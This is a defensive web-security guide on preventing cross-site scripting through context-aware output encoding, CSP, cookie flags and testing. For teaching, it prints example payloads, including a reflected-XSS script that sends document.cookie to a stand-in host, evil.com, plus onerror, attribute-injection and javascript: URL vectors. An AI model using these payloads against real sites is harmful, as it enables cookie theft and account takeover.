XSS Prevention Guide: HTML Encoding for Security

What Is Cross-Site Scripting (XSS)?

Cross-site scripting (XSS) is a class of web security vulnerabilities that allows attackers to inject malicious scripts into web pages viewed by other users. When a web application includes untrusted data in its output without proper encoding or validation, an attacker can craft input that the browser interprets as executable code rather than display text. The consequences range from session hijacking and credential theft to full account takeover and malware distribution.

XSS has consistently ranked among the OWASP Top 10 web application security risks for over two decades. Despite being well-understood, it remains one of the most common vulnerabilities found in production applications. The fundamental cause is deceptively simple: the browser cannot distinguish between legitimate scripts written by the developer and malicious scripts injected by an attacker unless the application properly encodes all dynamic output.

The Three Types of XSS

Reflected XSS

Reflected XSS occurs when user input is immediately reflected back in the server's response without proper encoding. The attack payload is typically delivered via a URL parameter. For example, a search page that displays "Results for: [user query]" without encoding the query could execute arbitrary JavaScript if the query contains a script tag. The attacker sends the victim a crafted link, and when the victim clicks it, the malicious script runs in the context of the vulnerable application.

// Vulnerable: reflects user input without encoding
// URL: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

// The server renders:
<p>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>

// The browser executes the script, sending cookies to the attacker

Stored XSS

Stored (or persistent) XSS is more dangerous because the malicious payload is saved to the server -- typically in a database -- and served to every user who views the affected page. Common injection points include comment fields, forum posts, user profile names, and any other user-generated content that is stored and displayed to other users.

A stored XSS attack does not require the attacker to trick victims into clicking a link. The payload is automatically delivered to everyone who visits the affected page. This makes stored XSS particularly devastating for high-traffic applications: a single malicious comment on a popular forum post could compromise thousands of accounts.

DOM-Based XSS

DOM-based XSS occurs entirely in the browser, without the malicious payload ever being sent to the server. The vulnerability arises when client-side JavaScript reads data from an attacker-controllable source (such as location.hash,location.search, or document.referrer) and passes it to a dangerous sink (such as innerHTML,document.write(), or eval()) without sanitization.

// Vulnerable: uses innerHTML with unsanitized URL fragment
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// URL: /page?name=<img src=x onerror=alert(document.cookie)>
// The browser renders and executes the injected HTML

The Five Encoding Contexts

The critical insight behind XSS prevention is that the same character may be safe in one context and dangerous in another. A single quote is harmless in HTML element content but can break out of an HTML attribute value. A semicolon is safe in an attribute but has special meaning in a CSS context. OWASP identifies five distinct encoding contexts, each requiring its own encoding rules.

1. HTML Element Content

When inserting untrusted data between HTML tags (e.g., inside a<p>, <div>, or <span>), you must encode at minimum the five critical characters: &, <,>, ", and '. This prevents the browser from interpreting user input as HTML markup.

// Safe: HTML entity encoding in element content
<p>User said: &lt;script&gt;alert(1)&lt;/script&gt;</p>
// Renders as literal text: User said: <script>alert(1)</script>

2. HTML Attribute Values

When inserting data into HTML attribute values, encoding must include quotes and other characters that could break out of the attribute context. Always wrap attribute values in quotes (single or double), and encode accordingly. Unquoted attributes are especially dangerous because spaces, tabs, and many other characters can terminate the value.

// Dangerous: unquoted attribute with user input
<input value=user_input>
// If user_input is: x onfocus=alert(1) autofocus
// Result: <input value=x onfocus=alert(1) autofocus>

// Safe: quoted and encoded
<input value="x onfocus=alert(1) autofocus">

3. JavaScript Context

Inserting untrusted data into JavaScript code is inherently risky. Even with encoding, you must be extremely careful. The safest approach is to avoid inserting untrusted data into JavaScript blocks entirely. Instead, place the data in adata-* attribute and read it from JavaScript usinggetAttribute() or dataset.

4. CSS Context

CSS injection is often overlooked but can be exploited for data exfiltration and phishing. Never insert untrusted data into CSS style attributes or <style> blocks without proper CSS encoding. CSS expressions (in legacy browsers) and URL functions can both execute JavaScript.

5. URL Context

When user data becomes part of a URL (in href orsrc attributes), use URL encoding (percent-encoding) for the data portion. Additionally, always validate that URLs use safe schemes (https: or http:). The javascript: scheme is a classic XSS vector:<a href="javascript:alert(1)">.

OWASP Encoding Rules

The OWASP XSS Prevention Cheat Sheet defines specific encoding rules for each context. The general principle is to apply the strictest encoding appropriate for the context where the data will be inserted.

• Rule #1 -- Deny by default: Do not insert untrusted data except in explicitly allowed locations. Never place user data inside script tags, comments, attribute names, tag names, or directly in CSS.
• Rule #2 -- HTML encode for element content: Convert& < > " ' to their entity equivalents.
• Rule #3 -- Attribute encode for HTML attributes: Encode all characters with ASCII values less than 256 that are not alphanumeric to the&#xHH; format.
• Rule #4 -- JavaScript encode for JS contexts: Encode non-alphanumeric characters using the \xHH or \uHHHH format.
• Rule #5 -- URL encode for URL parameters: Use percent-encoding for the data portion of URLs.
• Rule #6 -- Use a library: Do not write your own encoding functions. Use well-tested libraries maintained by security professionals.

Defense-in-Depth Strategies

Output encoding is the primary defense against XSS, but a robust security posture uses multiple layers of protection.

Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser which sources of content are trusted. A strict CSP can prevent inline script execution entirely, which eliminates the most common XSS attack vectors. A minimal CSP might look like:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

This policy allows scripts only from the same origin and blocks all inline scripts, effectively neutralizing most XSS payloads. The script-src 'self' directive means the browser will refuse to execute any script that is not loaded from a file on the same domain.

Input Validation

While output encoding is the correct primary defense, input validation provides an additional layer. Validate that inputs conform to expected patterns: an email field should contain an email, a numeric ID should contain only digits, and a color code should match a hex pattern. Reject or sanitize inputs that do not match. Input validation alone isnot sufficient to prevent XSS, but it reduces the attack surface.

HttpOnly and Secure Cookie Flags

Set the HttpOnly flag on session cookies to prevent JavaScript from reading them. This does not prevent XSS, but it limits the damage: even if an attacker injects a script, they cannot steal the session cookie directly. TheSecure flag ensures cookies are only sent over HTTPS.

Framework-Level Auto-Escaping

Modern frameworks like React, Angular, and Vue automatically escape dynamic content inserted into templates. React's JSX, for instance, escapes all values before rendering them in the DOM. This provides a strong baseline defense, but developers must understand when they are bypassing it -- for example, React's dangerouslySetInnerHTMLexplicitly opts out of auto-escaping, and its use must be carefully controlled.

Common Mistakes That Lead to XSS

Even experienced developers make XSS-enabling mistakes. Here are the most frequent patterns we see:

• Using innerHTML or v-html with user data: These APIs insert raw HTML and bypass all escaping. UsetextContent or framework-provided safe insertion methods instead.
• Encoding in the wrong context: HTML-encoding data that will be inserted into a JavaScript string literal does not prevent XSS. Each context requires its own encoding function.
• Blacklist-based filtering: Attempting to block specific attack patterns (like <script>) instead of encoding all output. Attackers have countless ways to bypass blacklists.
• Trusting data from your own database: Stored XSS exists because developers assume data from their database is safe. If user-generated data went in, it must be encoded on the way out.
• Forgetting encoding in email templates and PDFs: XSS is not limited to web pages. Email HTML bodies and dynamically generated PDFs are also vulnerable if they include unencoded user data.

Testing for XSS

Before deploying any application that handles user input, test for XSS vulnerabilities. Use our HTML Entity Encoder's XSS Prevention mode to see how your data would be encoded for each context. Then apply these testing strategies:

• Manual testing: Try injecting common XSS payloads into every input field and URL parameter. The classic <script>alert(1)</script> is just the beginning -- test with event handlers, SVG tags, and attribute injection.
• Automated scanning: Tools like OWASP ZAP and Burp Suite systematically test for XSS and other vulnerabilities. Include them in your CI/CD pipeline.
• Code review: Review every location where untrusted data is rendered. Search for innerHTML,dangerouslySetInnerHTML,document.write(), and eval() in your codebase.